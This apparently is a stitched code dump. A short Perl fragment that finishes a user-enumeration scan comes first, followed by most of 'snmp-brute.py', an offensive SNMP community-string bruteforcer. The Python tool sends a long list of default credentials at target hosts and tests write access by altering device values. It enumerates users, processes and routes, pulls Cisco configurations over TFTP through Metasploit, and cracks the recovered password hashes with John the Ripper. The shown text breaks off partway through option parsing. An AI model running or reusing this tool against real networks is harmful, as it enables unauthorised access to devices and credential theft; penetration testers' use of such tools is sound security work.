377 | # Wait to get replies back from remaining children | |
378 | my $count = 0; | |
379 | readloop: while ($outstanding_queries) { | |
380 | my @ready_to_read = $s->can_read(1); # blocking | |
381 | foreach my $child_handle (@ready_to_read) { | |
382 | print "[Parent] Outstanding queries: $outstanding_queries\n" if $debug; | |
383 | chomp(my $line = <$child_handle>); | |
384 | if ($verbose == 1 or $debug == 1 or not ($line =~ /<no such user>/ or $line =~ /no result/ or $line =~ /<timeout>/)) { | |
385 | print "$line\n"; | |
386 | $result_count++ unless ($line =~ /<no such user>/ or $line =~ /no result/ or $line =~ /<timeout>/); | |
387 | } | |
388 | print $child_handle "$kill_child_string\n"; | |
389 | $s->remove($child_handle); | |
390 | $outstanding_queries--; | |
391 | $query_count++; | |
392 | } | |
393 | } | |
394 | ||
395 | # Tell any remaining children to exit | |
396 | foreach my $handle ($s->handles) { | |
397 | print "[Parent] Telling child to exit\n" if $debug; | |
398 | print $handle "$kill_child_string\n"; | |
399 | } | |
400 | ||
401 | # Wait for all children to terminate | |
402 | while(wait != -1) {}; | |
403 | ||
404 | print "######## Scan completed at " . scalar(localtime()) . " #########\n"; | |
405 | print "$result_count results.\n"; | |
406 | print "\n"; | |
407 | $end_time = time(); # Second granularity only to avoid depending on hires time module | |
408 | my $run_time = $end_time - $start_time; | |
409 | $run_time = 1 if $run_time < 1; # Avoid divide by zero | |
410 | printf "%d queries in %d seconds (%0.1f queries / sec)\n", $query_count, $run_time, $query_count / $run_time; |
0 | #!/usr/bin/env python | |
1 | # SNMP Bruteforce & Enumeration Script | |
2 | # Requires metasploit, snmpwalk, snmpstat and john the ripper | |
3 | __version__ = 'v1.0b' | |
4 | from socket import socket, SOCK_DGRAM, AF_INET, timeout | |
5 | from random import randint | |
6 | from time import sleep | |
7 | import optparse, sys, os | |
8 | from subprocess import Popen, PIPE | |
9 | import struct | |
10 | import threading, thread | |
11 | import tempfile | |
12 | ||
13 | from scapy.all import (SNMP, SNMPnext, SNMPvarbind, ASN1_OID, SNMPget, ASN1_DECODING_ERROR, ASN1_NULL, ASN1_IPADDRESS, | |
14 | SNMPset, SNMPbulk, IP) | |
15 | ||
16 | ########################################################################################################## | |
17 | # Defaults | |
18 | ########################################################################################################## | |
19 | class defaults: | |
20 | rate=30.0 | |
21 | timeOut=2.0 | |
22 | port=161 | |
23 | delay=2 | |
24 | interactive=True | |
25 | verbose=False | |
26 | getcisco=True | |
27 | colour=True | |
28 | ||
29 | default_communities=['','0','0392a0','1234','2read','3com','3Com','3COM','4changes','access','adm','admin','Admin','administrator','agent','agent_steal','all','all private','all public','anycom','ANYCOM','apc','bintec','blue','boss','c','C0de','cable-d','cable_docsispublic@es0','cacti','canon_admin','cascade','cc','changeme','cisco','CISCO','cmaker','comcomcom','community','core','CR52401','crest','debug','default','demo','dilbert','enable','entry','field','field-service','freekevin','friend','fubar','guest','hello','hideit','host','hp_admin','ibm','IBM','ilmi','ILMI','intel','Intel','intermec','Intermec','internal','internet','ios','isdn','l2','l3','lan','liteon','login','logon','lucenttech','lucenttech1','lucenttech2','manager','master','microsoft','mngr','mngt','monitor','mrtg','nagios','net','netman','network','nobody','NoGaH$@!','none','notsopublic','nt','ntopia','openview','operator','OrigEquipMfr','ourCommStr','pass','passcode','password','PASSWORD','pr1v4t3','pr1vat3','private',' private','private ','Private','PRIVATE','private@es0','Private@es0','private@es1','Private@es1','proxy','publ1c','public',' public','public ','Public','PUBLIC','public@es0','public@es1','public/RO','read','read-only','readwrite','read-write','red','regional','<removed>','rmon','rmon_admin','ro','root','router','rw','rwa','sanfran','san-fran','scotty','secret','Secret','SECRET','Secret C0de','security','Security','SECURITY','seri','server','snmp','SNMP','snmpd','snmptrap','snmp-Trap','SNMP_trap','SNMPv1/v2c','SNMPv2c','solaris','solarwinds','sun','SUN','superuser','supervisor','support','switch','Switch','SWITCH','sysadm','sysop','Sysop','system','System','SYSTEM','tech','telnet','TENmanUFactOryPOWER','test','TEST','test2','tiv0li','tivoli','topsecret','traffic','trap','user','vterm1','watch','watchit','windows','windowsnt','workstation','world','write','writeit','xyzzy','yellow','ILMI'] | |
30 | ||
31 | ########################################################################################################## | |
32 | # OID's | |
33 | ########################################################################################################## | |
34 | ''' Credits | |
35 | Some OID's borowed from Cisc0wn script | |
36 | # Cisc0wn - The Cisco SNMP 0wner. | |
37 | # Daniel Compton | |
38 | # www.commonexploits.com | |
39 | # [email protected] | |
40 | ''' | |
41 | ||
42 | RouteOIDS={ | |
43 | 'ROUTDESTOID': [".1.3.6.1.2.1.4.21.1.1", "Destination"], | |
44 | 'ROUTHOPOID': [".1.3.6.1.2.1.4.21.1.7", "Next Hop"], | |
45 | 'ROUTMASKOID': [".1.3.6.1.2.1.4.21.1.11", "Mask"], | |
46 | 'ROUTMETOID': [".1.3.6.1.2.1.4.21.1.3", "Metric"], | |
47 | 'ROUTINTOID': [".1.3.6.1.2.1.4.21.1.2", "Interface"], | |
48 | 'ROUTTYPOID': [".1.3.6.1.2.1.4.21.1.8", "Route type"], | |
49 | 'ROUTPROTOID': [".1.3.6.1.2.1.4.21.1.9", "Route protocol"], | |
50 | 'ROUTAGEOID': [".1.3.6.1.2.1.4.21.1.10", "Route age"] | |
51 | } | |
52 | ||
53 | InterfaceOIDS={ | |
54 | #Interface Info | |
55 | 'INTLISTOID': [".1.3.6.1.2.1.2.2.1.2", "Interfaces"], | |
56 | 'INTIPLISTOID': [".1.3.6.1.2.1.4.20.1.1", "IP address"], | |
57 | 'INTIPMASKOID': [".1.3.6.1.2.1.4.20.1.3", "Subnet mask"], | |
58 | 'INTSTATUSLISTOID':[".1.3.6.1.2.1.2.2.1.8", "Status"] | |
59 | } | |
60 | ||
61 | ARPOIDS={ | |
62 | # Arp table | |
63 | 'ARPADDR': [".1.3.6.1.2.1.3.1 ","ARP address method A"], | |
64 | 'ARPADDR2': [".1.3.6.1.2.1.3.1 ","ARP address method B"] | |
65 | } | |
66 | ||
67 | OIDS={ | |
68 | 'SYSTEM':["iso.3.6.1.2.1.1 ","SYSTEM Info"] | |
69 | } | |
70 | ||
71 | snmpstat_args={ | |
72 | 'Interfaces':["-Ci","Interface Info"], | |
73 | 'Routing':["-Cr","Route Info"], | |
74 | 'Netstat':["","Netstat"], | |
75 | #'Statistics':["-Cs","Stats"] | |
76 | } | |
77 | ||
78 | '''Credits | |
79 | The following OID's are borrowed from snmpenum.pl script | |
80 | # ----by filip waeytens 2003---- | |
81 | # ---- DA SCANIT CREW www.scanit.be ---- | |
82 | # [email protected] | |
83 | ''' | |
84 | ||
85 | WINDOWS_OIDS={ | |
86 | 'RUNNING PROCESSES': ["1.3.6.1.2.1.25.4.2.1.2","Running Processes"], | |
87 | 'INSTALLED SOFTWARE': ["1.3.6.1.2.1.25.6.3.1.2","Installed Software"], | |
88 | 'SYSTEM INFO': ["1.3.6.1.2.1.1","System Info"], | |
89 | 'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"], | |
90 | 'DOMAIN': ["1.3.6.1.4.1.77.1.4.1","Domain"], | |
91 | 'USERS': ["1.3.6.1.4.1.77.1.2.25","Users"], | |
92 | 'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"], | |
93 | 'SHARES': ["1.3.6.1.4.1.77.1.2.27","Shares"], | |
94 | 'DISKS': ["1.3.6.1.2.1.25.2.3.1.3","Disks"], | |
95 | 'SERVICES': ["1.3.6.1.4.1.77.1.2.3.1.1","Services"], | |
96 | 'LISTENING TCP PORTS': ["1.3.6.1.2.1.6.13.1.3.0.0.0.0","Listening TCP Ports"], | |
97 | 'LISTENING UDP PORTS': ["1.3.6.1.2.1.7.5.1.2.0.0.0.0","Listening UDP Ports"] | |
98 | } | |
99 | ||
100 | LINUX_OIDS={ | |
101 | 'RUNNING PROCESSES': ["1.3.6.1.2.1.25.4.2.1.2","Running Processes"], | |
102 | 'SYSTEM INFO': ["1.3.6.1.2.1.1","System Info"], | |
103 | 'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"], | |
104 | 'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"], | |
105 | 'MOUNTPOINTS': ["1.3.6.1.2.1.25.2.3.1.3","MountPoints"], | |
106 | 'RUNNING SOFTWARE PATHS': ["1.3.6.1.2.1.25.4.2.1.4","Running Software Paths"], | |
107 | 'LISTENING UDP PORTS': ["1.3.6.1.2.1.7.5.1.2.0.0.0.0","Listening UDP Ports"], | |
108 | 'LISTENING TCP PORTS': ["1.3.6.1.2.1.6.13.1.3.0.0.0.0","Listening TCP Ports"] | |
109 | } | |
110 | ||
111 | CISCO_OIDS={ | |
112 | 'LAST TERMINAL USERS': ["1.3.6.1.4.1.9.9.43.1.1.6.1.8","Last Terminal User"], | |
113 | 'INTERFACES': ["1.3.6.1.2.1.2.2.1.2","Interfaces"], | |
114 | 'SYSTEM INFO': ["1.3.6.1.2.1.1.1","System Info"], | |
115 | 'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"], | |
116 | 'SNMP Communities': ["1.3.6.1.6.3.12.1.3.1.4","Communities"], | |
117 | 'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"], | |
118 | 'IP ADDRESSES': ["1.3.6.1.2.1.4.20.1.1","IP Addresses"], | |
119 | 'INTERFACE DESCRIPTIONS': ["1.3.6.1.2.1.31.1.1.1.18","Interface Descriptions"], | |
120 | 'HARDWARE': ["1.3.6.1.2.1.47.1.1.1.1.2","Hardware"], | |
121 | 'TACACS SERVER': ["1.3.6.1.4.1.9.2.1.5","TACACS Server"], | |
122 | 'LOG MESSAGES': ["1.3.6.1.4.1.9.9.41.1.2.3.1.5","Log Messages"], | |
123 | 'PROCESSES': ["1.3.6.1.4.1.9.9.109.1.2.1.1.2","Processes"], | |
124 | 'SNMP TRAP SERVER': ["1.3.6.1.6.3.12.1.2.1.7","SNMP Trap Server"] | |
125 | } | |
126 | ||
127 | ########################################################################################################## | |
128 | # Classes | |
129 | ########################################################################################################## | |
130 | ||
131 | class SNMPError(Exception): | |
132 | '''Credits | |
133 | Class copied from sploitego project | |
134 | __original_author__ = 'Nadeem Douba' | |
135 | https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py | |
136 | ''' | |
137 | pass | |
138 | ||
139 | class SNMPVersion: | |
140 | '''Credits | |
141 | Class copied from sploitego project | |
142 | __original_author__ = 'Nadeem Douba' | |
143 | https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py | |
144 | ''' | |
145 | v1 = 0 | |
146 | v2c = 1 | |
147 | v3 = 2 | |
148 | ||
149 | @classmethod | |
150 | def iversion(cls, v): | |
151 | if v in ['v1', '1']: | |
152 | return cls.v1 | |
153 | elif v in ['v2', '2', 'v2c']: | |
154 | return cls.v2c | |
155 | elif v in ['v3', '3']: | |
156 | return cls.v3 | |
157 | raise ValueError('No such version %s' % v) | |
158 | ||
159 | @classmethod | |
160 | def sversion(cls, v): | |
161 | if not v: | |
162 | return 'v1' | |
163 | elif v == 1: | |
164 | return 'v2c' | |
165 | elif v == 2: | |
166 | return 'v3' | |
167 | raise ValueError('No such version number %s' % v) | |
168 | ||
169 | class SNMPBruteForcer(object): | |
170 | #This class is used for the sploitego method of bruteforce (--sploitego) | |
171 | '''Credits | |
172 | Class copied from sploitego project | |
173 | __original_author__ = 'Nadeem Douba' | |
174 | https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py | |
175 | ''' | |
176 | def __init__(self, agent, port=161, version='v2c', timeout=0.5, rate=1000): | |
177 | self.version = SNMPVersion.iversion(version) | |
178 | self.s = socket(AF_INET, SOCK_DGRAM) | |
179 | self.s.settimeout(timeout) | |
180 | self.addr = (agent, port) | |
181 | self.rate = rate | |
182 | ||
183 | def guess(self, communities): | |
184 | ||
185 | p = SNMP( | |
186 | version=self.version, | |
187 | PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))]) | |
188 | ) | |
189 | r = [] | |
190 | for c in communities: | |
191 | i = randint(0, 2147483647) | |
192 | p.PDU.id = i | |
193 | p.community = c | |
194 | self.s.sendto(str(p), self.addr) | |
195 | sleep(1/self.rate) | |
196 | while True: | |
197 | try: | |
198 | p = SNMP(self.s.recvfrom(65535)[0]) | |
199 | except timeout: | |
200 | break | |
201 | r.append(p.community.val) | |
202 | return r | |
203 | ||
204 | def __del__(self): | |
205 | self.s.close() | |
206 | ||
207 | class SNMPResults: | |
208 | addr='' | |
209 | version='' | |
210 | community='' | |
211 | write=False | |
212 | ||
213 | def __eq__(self, other): | |
214 | return self.addr == other.addr and self.version == other.version and self.community == other.community | |
215 | ||
216 | ########################################################################################################## | |
217 | # Colour output functions | |
218 | ########################################################################################################## | |
219 | ||
220 | # for color output | |
221 | BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8) | |
222 | ||
223 | #following from Python cookbook, #475186 | |
224 | def has_colours(stream): | |
225 | if not hasattr(stream, "isatty"): | |
226 | return False | |
227 | if not stream.isatty(): | |
228 | return False # auto color only on TTYs | |
229 | try: | |
230 | import curses | |
231 | curses.setupterm() | |
232 | return curses.tigetnum("colors") > 2 | |
233 | except: | |
234 | # guess false in case of error | |
235 | return False | |
236 | has_colours = has_colours(sys.stdout) | |
237 | ||
238 | def printout(text, colour=WHITE): | |
239 | ||
240 | if has_colours and defaults.colour: | |
241 | seq = "\x1b[1;%dm" % (30+colour) + text + "\x1b[0m\n" | |
242 | sys.stdout.write(seq) | |
243 | else: | |
244 | #sys.stdout.write(text) | |
245 | print text | |
246 | ||
247 | ||
248 | ########################################################################################################## | |
249 | # | |
250 | ########################################################################################################## | |
251 | ||
252 | def banner(art=True): | |
253 | if art: | |
254 | print >> sys.stderr, " _____ _ ____ _______ ____ __ " | |
255 | print >> sys.stderr, " / ___// | / / |/ / __ \\ / __ )_______ __/ /____ " | |
256 | print >> sys.stderr, " \\__ \\/ |/ / /|_/ / /_/ / / __ / ___/ / / / __/ _ \\" | |
257 | print >> sys.stderr, " ___/ / /| / / / / ____/ / /_/ / / / /_/ / /_/ __/" | |
258 | print >> sys.stderr, "/____/_/ |_/_/ /_/_/ /_____/_/ \\__,_/\\__/\\___/ " | |
259 | print >> sys.stderr, "" | |
260 | print >> sys.stderr, "SNMP Bruteforce & Enumeration Script " + __version__ | |
261 | print >> sys.stderr, "http://www.secforce.com / nikos.vassakis <at> secforce.com" | |
262 | print >> sys.stderr, "###############################################################" | |
263 | print >> sys.stderr, "" | |
264 | ||
265 | def listener(sock,results): | |
266 | while True: | |
267 | try: | |
268 | response,addr=SNMPrecv(sock) | |
269 | except timeout: | |
270 | continue | |
271 | except KeyboardInterrupt: | |
272 | break | |
273 | except: | |
274 | break | |
275 | r=SNMPResults() | |
276 | r.addr=addr | |
277 | r.version=SNMPVersion.sversion(response.version.val) | |
278 | r.community=response.community.val | |
279 | results.append(r) | |
280 | printout (('%s : %s \tVersion (%s):\t%s' % (str(addr[0]),str(addr[1]), SNMPVersion.sversion(response.version.val),response.community.val)),WHITE) | |
281 | ||
282 | def SNMPrecv(sock): | |
283 | try: | |
284 | recv,addr=sock.recvfrom(65535) | |
285 | response = SNMP(recv) | |
286 | return response,addr | |
287 | except: | |
288 | raise | |
289 | ||
290 | def SNMPsend(sock, packets, ip, port=defaults.port, community='', rate=defaults.rate): | |
291 | addr = (ip, port) | |
292 | for packet in packets: | |
293 | i = randint(0, 2147483647) | |
294 | packet.PDU.id = i | |
295 | packet.community = community | |
296 | sock.sendto(str(packet), addr) | |
297 | sleep(1/rate) | |
298 | ||
299 | def SNMPRequest(result,OID, value='', TimeOut=defaults.timeOut): | |
300 | s = socket(AF_INET, SOCK_DGRAM) | |
301 | s.settimeout(TimeOut) | |
302 | response='' | |
303 | r=result | |
304 | ||
305 | version = SNMPVersion.iversion(r.version) | |
306 | if value: | |
307 | p = SNMP( | |
308 | version=version, | |
309 | PDU=SNMPset(varbindlist=[SNMPvarbind(oid=ASN1_OID(OID), value=value)]) | |
310 | ) | |
311 | else: | |
312 | p = SNMP( | |
313 | version=version, | |
314 | PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID(OID))]) | |
315 | ) | |
316 | ||
317 | SNMPsend(s,p,r.addr[0],r.addr[1],r.community) | |
318 | for x in range(0, 5): | |
319 | try: | |
320 | response,addr=SNMPrecv(s) | |
321 | break | |
322 | except timeout: # if request times out retry | |
323 | sleep(0.5) | |
324 | continue | |
325 | s.close | |
326 | if not response: | |
327 | raise timeout | |
328 | return response | |
329 | ||
330 | def testSNMPWrite(results,options,OID='.1.3.6.1.2.1.1.4.0'): | |
331 | #Alt .1.3.6.1.2.1.1.5.0 | |
332 | ||
333 | setval='HASH(0xDEADBEF)' | |
334 | for r in results: | |
335 | try: | |
336 | originalval=SNMPRequest(r,OID) | |
337 | ||
338 | if originalval: | |
339 | originalval=originalval[SNMPvarbind].value.val | |
340 | ||
341 | SNMPRequest(r,OID,setval) | |
342 | curval=SNMPRequest(r,OID)[SNMPvarbind].value.val | |
343 | ||
344 | if curval == setval: | |
345 | r.write=True | |
346 | try: | |
347 | SNMPRequest(r,OID,originalval) | |
348 | except timeout: | |
349 | pass | |
350 | if options.verbose: printout (('\t %s (%s) (RW)' % (r.community,r.version)),GREEN) | |
351 | curval=SNMPRequest(r,OID)[SNMPvarbind].value.val | |
352 | if curval != originalval: | |
353 | printout(('Couldn\'t restore value to: %s (OID: %s)' % (str(originalval),str(OID))),RED) | |
354 | else: | |
355 | if options.verbose: printout (('\t %s (%s) (R)' % (r.community,r.version)),BLUE) | |
356 | else: | |
357 | r.write=None | |
358 | printout (('\t %s (%s) (Failed)' % (r.community,r.version)),RED) | |
359 | except timeout: | |
360 | r.write=None | |
361 | printout (('\t %s (%s) (Failed!)' % (r.community,r.version)),RED) | |
362 | continue | |
363 | ||
364 | def generic_snmpwalk(snmpwalk_args,oids): | |
365 | for key, val in oids.items(): | |
366 | try: | |
367 | printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW) | |
368 | entry={} | |
369 | out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2').readlines() | |
370 | ||
371 | print '\tINFO' | |
372 | print '\t----\t' | |
373 | for i in out: | |
374 | print '\t',i.strip() | |
375 | print '\n' | |
376 | except KeyboardInterrupt: | |
377 | pass | |
378 | ||
379 | def enumerateSNMPWalk(result,options): | |
380 | r=result | |
381 | ||
382 | snmpwalk_args=' -c "'+r.community+'" -'+r.version+' '+str(r.addr[0])+':'+str(r.addr[1]) | |
383 | ||
384 | ############################################################### Enumerate OS | |
385 | if options.windows: | |
386 | generic_snmpwalk(snmpwalk_args,WINDOWS_OIDS) | |
387 | return | |
388 | if options.linux: | |
389 | generic_snmpwalk(snmpwalk_args,LINUX_OIDS) | |
390 | return | |
391 | if options.cisco: | |
392 | generic_snmpwalk(snmpwalk_args,CISCO_OIDS) | |
393 | ||
394 | ############################################################### Enumerate CISCO Specific | |
395 | ############################################################### Enumerate Routes | |
396 | entry={} | |
397 | out=os.popen('snmpwalk'+snmpwalk_args+' '+'.1.3.6.1.2.1.4.21.1.1'+' '+'| awk \'{print $NF}\' 2>&1''').readlines() | |
398 | lines = len(out) | |
399 | ||
400 | printout('################## Enumerating Routing Table (snmpwalk)',YELLOW) | |
401 | try: | |
402 | for key, val in RouteOIDS.items(): #Enumerate Routes | |
403 | #print '\t *',val[1], val[0] | |
404 | out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+'| awk \'{print $NF}\' 2>&1').readlines() | |
405 | ||
406 | entry[val[1]]=out | |
407 | ||
408 | ||
409 | print '\tDestination\t\tNext Hop\tMask\t\t\tMetric\tInterface\tType\tProtocol\tAge' | |
410 | print '\t-----------\t\t--------\t----\t\t\t------\t---------\t----\t--------\t---' | |
411 | for j in range(lines): | |
412 | print( '\t'+entry['Destination'][j].strip().ljust(12,' ') + | |
413 | '\t\t'+entry['Next Hop'][j].strip().ljust(12,' ') + | |
414 | '\t'+entry['Mask'][j].strip().ljust(12,' ') + | |
415 | '\t\t'+entry['Metric'][j].strip().center(6,' ') + | |
416 | '\t'+entry['Interface'][j].strip().center(10,' ') + | |
417 | '\t'+entry['Route type'][j].strip().center(4,' ') + | |
418 | '\t'+entry['Route protocol'][j].strip().center(8,' ') + | |
419 | '\t'+entry['Route age'][j].strip().center(3,' ') | |
420 | ) | |
421 | except KeyboardInterrupt: | |
422 | pass | |
423 | ||
424 | ############################################################### Enumerate Arp | |
425 | print '\n' | |
426 | for key, val in ARPOIDS.items(): | |
427 | try: | |
428 | printout(('################## Enumerating ARP Table using: %s (%s)'%(val[0],val[1])),YELLOW) | |
429 | entry={} | |
430 | out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2 | cut -d\':\' -f 2').readlines() | |
431 | ||
432 | lines=len(out)/3 | |
433 | ||
434 | entry['V']=out[0*lines:1*lines] | |
435 | entry['MAC']=out[1*lines:2*lines] | |
436 | entry['IP']=out[2*lines:3*lines] | |
437 | ||
438 | ||
439 | print '\tIP\t\tMAC\t\t\tV' | |
440 | print '\t--\t\t---\t\t\t--' | |
441 | for j in range(lines): | |
442 | print( '\t'+entry['IP'][j].strip().ljust(12,' ') + | |
443 | '\t'+entry['MAC'][j].strip().ljust(18,' ') + | |
444 | '\t'+entry['V'][j].strip().ljust(2,' ') | |
445 | ) | |
446 | print '\n' | |
447 | except KeyboardInterrupt: | |
448 | pass | |
449 | ||
450 | ############################################################### Enumerate SYSTEM | |
451 | for key, val in OIDS.items(): | |
452 | try: | |
453 | printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW) | |
454 | entry={} | |
455 | out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2').readlines() | |
456 | ||
457 | print '\tINFO' | |
458 | print '\t----\t' | |
459 | for i in out: | |
460 | print '\t',i.strip() | |
461 | print '\n' | |
462 | except KeyboardInterrupt: | |
463 | pass | |
464 | ############################################################### Enumerate Interfaces | |
465 | for key, val in snmpstat_args.items(): | |
466 | try: | |
467 | printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW) | |
468 | out=os.popen('snmpnetstat'+snmpwalk_args+' '+val[0]).readlines() | |
469 | ||
470 | for i in out: | |
471 | print '\t',i.strip() | |
472 | print '\n' | |
473 | except KeyboardInterrupt: | |
474 | pass | |
475 | ||
476 | def get_cisco_config(result,options): | |
477 | printout(('################## Trying to get config with: %s'% result.community),YELLOW) | |
478 | ||
479 | identified_ip=os.popen('ifconfig eth0 |grep "inet addr:" |cut -d ":" -f 2 |awk \'{ print $1 }\'').read() | |
480 | ||
481 | if options.interactive: | |
482 | Local_ip = raw_input('Enter Local IP ['+str(identified_ip).strip()+']:') or identified_ip.strip() | |
483 | else: | |
484 | Local_ip = identified_ip.strip() | |
485 | ||
486 | if not (os.path.isdir("./output")): | |
487 | os.popen('mkdir output') | |
488 | ||
489 | p=Popen('msfcli auxiliary/scanner/snmp/cisco_config_tftp RHOSTS='+str(result.addr[0])+' LHOST='+str(Local_ip)+' COMMUNITY="'+result.community+'" OUTPUTDIR=./output RETRIES=1 RPORT='+str(result.addr[1])+' THREADS=5 VERSION='+result.version.replace('v','')+' E ',shell=True,stdin=PIPE,stdout=PIPE, stderr=PIPE) #>/dev/null 2>&1 | |
490 | ||
491 | ||
492 | print 'msfcli auxiliary/scanner/snmp/cisco_config_tftp RHOSTS='+str(result.addr[0])+' LHOST='+str(Local_ip)+' COMMUNITY="'+result.community+'" OUTPUTDIR=./output RETRIES=1 RPORT='+str(result.addr[1])+' THREADS=5 VERSION='+result.version.replace('v','')+' E ' | |
493 | ||
494 | out=[] | |
495 | while p.poll() is None: | |
496 | line=p.stdout.readline() | |
497 | out.append(line) | |
498 | print '\t',line.strip() | |
499 | ||
500 | printout('################## Passwords Found:',YELLOW) | |
501 | encrypted=[] | |
502 | for i in out: | |
503 | if "Password" in i: | |
504 | print '\t',i.strip() | |
505 | if "Encrypted" in i: | |
506 | encrypted.append(i.split()[-1]) | |
507 | ||
508 | if encrypted: | |
509 | print '\nCrack encrypted password(s)?' | |
510 | for i in encrypted: | |
511 | print '\t',i | |
512 | ||
513 | #if (False if raw_input("(Y/n):").lower() == 'n' else True): | |
514 | if not get_input("(Y/n):",'n',options): | |
515 | ||
516 | with open('./hashes', 'a') as f: | |
517 | for i in encrypted: | |
518 | f.write(i+'\n') | |
519 | ||
520 | p=Popen('john ./hashes',shell=True,stdin=PIPE,stdout=PIPE,stderr=PIPE) | |
521 | while p.poll() is None: | |
522 | print '\t',p.stdout.readline() | |
523 | print 'Passwords Cracked:' | |
524 | out=os.popen('john ./hashes --show').readlines() | |
525 | for i in out: | |
526 | print '\t', i.strip() | |
527 | ||
528 | out=[] | |
529 | while p.poll() is None: | |
530 | line=p.stdout.readline() | |
531 | out.append(line) | |
532 | print '\t',line.strip() | |
533 | ||
534 | def select_community(results,options): | |
535 | default=None | |
536 | try: | |
537 | printout("\nIdentified Community strings",WHITE) | |
538 | ||
539 | for l,r in enumerate(results): | |
540 | if r.write==True: | |
541 | printout ('\t%s) %s %s (%s)(RW)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),GREEN) | |
542 | default=l | |
543 | elif r.write==False: | |
544 | printout ('\t%s) %s %s (%s)(RO)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),BLUE) | |
545 | else: | |
546 | printout ('\t%s) %s %s (%s)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),RED) | |
547 | ||
548 | if default is None: | |
549 | default = l | |
550 | ||
551 | if not options.enum: | |
552 | return | |
553 | ||
554 | if options.interactive: | |
555 | selection=raw_input("Select Community to Enumerate ["+str(default)+"]:") | |
556 | if not selection: | |
557 | selection=default | |
558 | else: | |
559 | selection=default | |
560 | ||
561 | try: | |
562 | return results[int(selection)] | |
563 | except: | |
564 | return results[l] | |
565 | except KeyboardInterrupt: | |
566 | exit(0) | |
567 | ||
568 | def SNMPenumeration(result,options): | |
569 | getcisco=defaults.getcisco | |
570 | try: | |
571 | printout (("\nEnumerating with READ-WRITE Community string: %s (%s)" % (result.community,result.version)),YELLOW) | |
572 | enumerateSNMPWalk(result,options) | |
573 | ||
574 | if options.windows or options.linux: | |
575 | if not get_input("Get Cisco Config (y/N):",'y',options): | |
576 | getcisco=False | |
577 | if getcisco: | |
578 | get_cisco_config(result,options) | |
579 | except KeyboardInterrupt: | |
580 | print '\n' | |
581 | return | |
582 | ||
583 | def password_brutefore(options, communities, ips): | |
584 | s = socket(AF_INET, SOCK_DGRAM) | |
585 | s.settimeout(options.timeOut) | |
586 | ||
587 | results=[] | |
588 | ||
589 | #Start the listener | |
590 | T = threading.Thread(name='listener', target=listener, args=(s,results,)) | |
591 | T.start() | |
592 | ||
593 | # Craft SNMP's for both versions | |
594 | p1 = SNMP( | |
595 | version=SNMPVersion.iversion('v1'), | |
596 | PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))]) | |
597 | ) | |
598 | p2c = SNMP( | |
599 | version=SNMPVersion.iversion('v2c'), | |
600 | PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))]) | |
601 | ) | |
602 | ||
603 | packets = [p1, p2c] | |
604 | ||
605 | #We try each community string | |
606 | for i,community in enumerate(communities): | |
607 | #sys.stdout.write('\r{0}'.format('.' * i)) | |
608 | #sys.stdout.flush() | |
609 | for ip in ips: | |
610 | SNMPsend(s, packets, ip, options.port, community.rstrip(), options.rate) | |
611 | ||
612 | #We read from STDIN if necessary | |
613 | if options.stdin: | |
614 | while True: | |
615 | try: | |
616 | try: | |
617 | community=raw_input().strip('\n') | |
618 | for ip in ips: | |
619 | SNMPsend(s, packets, ip, options.port, community, options.rate) | |
620 | except EOFError: | |
621 | break | |
622 | except KeyboardInterrupt: | |
623 | break | |
624 | ||
625 | try: | |
626 | print "Waiting for late packets (CTRL+C to stop)" | |
627 | sleep(options.timeOut+options.delay) #Waiting in case of late response | |
628 | except KeyboardInterrupt: | |
629 | pass | |
630 | T._Thread__stop() | |
631 | s.close | |
632 | ||
633 | #We remove any duplicates. This relies on the __equal__ | |
634 | newlist = [] | |
635 | for i in results: | |
636 | if i not in newlist: | |
637 | newlist.append(i) | |
638 | return newlist | |
639 | ||
640 | def get_input(string,non_default_option,options): | |
641 | #(True if raw_input("Enumerate with different community? (Y/n):").lower() == 'n' else False) | |
642 | ||
643 | if options.interactive: | |
644 | if raw_input(string).lower() == non_default_option: | |
645 | return True | |
646 | else: | |
647 | return False | |
648 | else: | |
649 | print string | |
650 | return False | |
651 | ||
652 | def main(): | |
653 | ||
654 | parser = optparse.OptionParser(formatter=optparse.TitledHelpFormatter()) | |
655 | ||
656 | parser.set_usage("python snmp-brute.py -t <IP> -f <DICTIONARY>") | |
657 | #parser.add_option('-h','--help', help='Show this help message and exit', action=parser.print_help()) | |
658 | parser.add_option('-f','--file', help='Dictionary file', dest='dictionary', action='store') | |
659 | parser.add_option('-t','--target', help='Host IP', dest='ip', action='store') | |
660 | parser.add_option('-p','--port', help='SNMP port', dest='port', action='store', type='int',default=defaults.port) | |
661 | ||
662 | ||
663 | groupAlt = optparse.OptionGroup(parser, "Alternative Options") | |
664 | groupAlt.add_option('-s','--stdin', help='Read communities from stdin', dest='stdin', action='store_true',default=False) | |
665 | groupAlt.add_option('-c','--community', help='Single Community String to use', dest='community', action='store') | |
